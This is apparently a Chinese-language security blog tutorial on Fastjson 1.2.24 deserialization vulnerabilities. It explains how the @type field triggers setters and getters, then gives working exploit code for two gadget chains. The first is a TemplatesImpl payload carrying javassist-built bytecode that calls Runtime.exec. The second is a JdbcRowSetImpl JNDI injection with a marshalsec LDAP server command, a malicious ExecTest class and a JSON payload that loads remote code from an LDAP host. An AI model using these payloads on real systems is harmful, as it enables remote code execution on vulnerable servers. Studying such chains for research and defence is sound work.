Fastjson使用 astjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
pom.xml设置
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
先定义一个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class User { private String name; private int age; public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } }
FastJson反序列化有三种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class Test { public static void main (String[] args) { User user=new User(); user.setName("admin" ); user.setAge(14 ); String serializedStr=JSON.toJSONString(user); System.out.println(serializedStr); Object obj1=JSON.parse(serializedStr); System.out.println("通过parse方法反序列化" ); System.out.println(obj1.getClass().getName()); System.out.println(obj1); Object obj2=JSON.parseObject(serializedStr); System.out.println("通过parseObject方法,不指定类进行反序列化" ); System.out.println(obj2.getClass().getName()); System.out.println(obj2); Object obj3=JSON.parseObject(serializedStr,User.class); System.out.println("通过parseObject方法,指定User类进行反序列化" ); System.out.println(obj3.getClass().getName()); System.out.println(obj3); } }
执行结果如下
可以看到JSON.parse
和未指定对象的JSON.parseObject
都会返回JSONObject
,而JSON.parseObject
指定类后会返回相应的类对象。它们不仅返回结果不同,执行过程中调用的方法也不同。
type字段 修改User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class User { private String name; private int age; public String getName () { System.out.println("getName" ); return name; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public int getAge () { System.out.println("getAge" ); return age; } public void setAge (int age) { System.out.println("setAge" ); this .age = age; } }
FastJson中有一个特殊字段type
,这个字段可以指定反序列化任意类,并且会自动调用类中符合规则的特定的setter
和getter
方法。
1 2 3 4 5 parse ("" ) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject ("" ) 会调用反序列化目标类的特定 setter 和 getter 方法parseObject ("" ,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
规则
1 2 3 4 5 6 7 8 9 10 11 set开头的方法要求如下:- 方法名长度大于4且以set开头,且第四个字母要是大写- 非静态方法- 返回类型为void或当前类- 参数个数为1个 get开头的方法要求如下:- 方法名长度大于等于4 - 非静态方法- 以get开头且第4个字母为大写- 无传入参数- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class Test { public static void main (String[] args) { String jsonstring="{\"@type\":\"User\",\"age\":80,\"name\":\"admin\"}" ; System.out.println("parse:" ); Object obj1=JSON.parse(jsonstring); System.out.println(obj1.getClass().getName()); System.out.println(obj1); System.out.println("parseObject:" ); Object obj2=JSON.parseObject(jsonstring); System.out.println(obj2.getClass().getName()); System.out.println(obj2); System.out.println("parseObject with class:" ); Object obj3=JSON.parseObject(jsonstring,User.class); System.out.println(obj3.getClass().getName()); System.out.println(obj3); } }
运行结果
1 2 3 4 5 type可以指定反序列化成服务器上的任意类 然后服务端会解析这个类,提取出这个类中符合要求的setter 方法与getter 方法(如setxxx) 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter 、getter 方法(即setxxx方法、getxxx方法)
利用链 TemplatesImpl 基于JDK 7u21 Gadgets,1.7版本通用,利用条件苛刻
利用条件
1 2 3 1. 服务端使用parseObject() 时,必须使用如下格式才能触发漏洞: `JSON . parseObject(input , Object.class , Feature.SupportNonPublicField) ;`2. 服务端使用parse() 时,需要`JSON . parse(text1,Feature.SupportNonPublicField);`
jdk7u21反序列化的利用条件
1 2 3 4 5 1 .恶意类的父类必须为ABSTRACT_TRANSLET 2 .TemplatesImpl类的_bytecodes 不为null ,为恶意类字节码,payload 写在恶意类的静态方法或构造方法3 .TemplatesImpl类的_name 不为null 4 .TemplatesImpl类的_class =null 5 ._tfactory需要是一个拥有getExternalExtensionsMap ()方法的类,即TransformerFactoryImpl (),以此来兼容不同版本
构造exp,FastJson反序列化过程中对_bytecodes
、_tfactory
等属性进行了操作,需要另外处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import org.apache.commons.codec.binary.Base64;public class Test { public static byte [] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); ctClass.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte [] EvilByteCodes = ctClass.toBytecode(); return EvilByteCodes; } public static void main (String[] args) throws Exception { byte [] evilCode = getevilbyte(); String evilCode_base64 = Base64.encodeBase64String(evilCode); String text1 = "{" + "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\"" +evilCode_base64+"\"]," + "'_name':'xx'," + "'_tfactory':{ }," + "'_outputProperties':{ }" + "}\n" ; System.out.println(text1); ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } }
_bytecodes _bytecodes
传输过程中会经过base64解码,所以在payload中需要进行base64编码
FieldDeserializer#parseField
parseField
中对_bytecodes
中的内容进行了解析
deserialize
parseArray
ObjectDeserializer#deserializer
byteValue
对_bytecodes
进行base64解码
_tfactory FastJson会自动新建一个符合要求的对象实例,所以exp中_factory
为{}
1 /com/ alibaba/fastjson/ parser/deserializer/ JavaBeanDeserializer.java
JdbcRowSetImpl 前面提到了FastJson反序列化会自动调用类中符合规则的特定的setter
和getter
方法。com.sun.rowset.JdbcRowSetImp
l的setAutoCommit()
方法中调用了lookup()
,且参数DataSourceName
可控,由setDataSourceName()
方法设置。由于这两个方法都符合规则,反序列化时自动调用这两个setter
方法造成JNDI注入,进而触发命令执行。
JdbcRowSetImpl#setDataSourceName
调用父类的setDataSourceName
BaseRowSet#setDataSourceName
父类的setDataSourceName
,把var1
赋值给dataSoruce
setAutoCommit
这里调用了connect()
方法,var1
来源于POC中构造的属性autoCommit
,实际测试中发现这个值可以是true也可以是false,只要保证有一个布尔类型的参数传入就不会影响正常执行。
connection
调用lookup
,this.getDataSourceName()
等于var1
,接着请求我们的ldap服务器,触发命令执行
接下来就是JNDI注入利用的思路了
使用marshalsec搭建ldap服务器
1 java -cp marshalsec-0 .0 .3 -SNAPSHOT-all .jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090 /#ExecTest
ExecTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest () throws IOException,InterruptedException { String cmd="calc" ; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage (final InputStream input) { new Thread (new Runnable() { @Override public void run () { Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null ; try { while ((line=bf.readLine())!=null ) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } public static void main (String[] args) { } }
把编译后的恶意类ExecTest.class
放到web目录下,然后开启web服务
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import com.alibaba.fastjson.JSON;public class Test { public static void main (String[] args) throws Exception { String payload = "{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://192.168.111.129:1389/ExecTest\",\n" + " \"autoCommit\":true\n" + "}" ; JSON.parseObject(payload); } }
实际执行的代码
1 2 3 4 5 6 7 8 9 10 import com.sun.rowset.JdbcRowSetImpl;public class CLIENT { public static void main (String[] args) throws Exception { JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl(); JdbcRowSetImpl_inc.setDataSourceName("ldap://192.168.111.129:1389/ExecTest" ); JdbcRowSetImpl_inc.setAutoCommit(true ); } }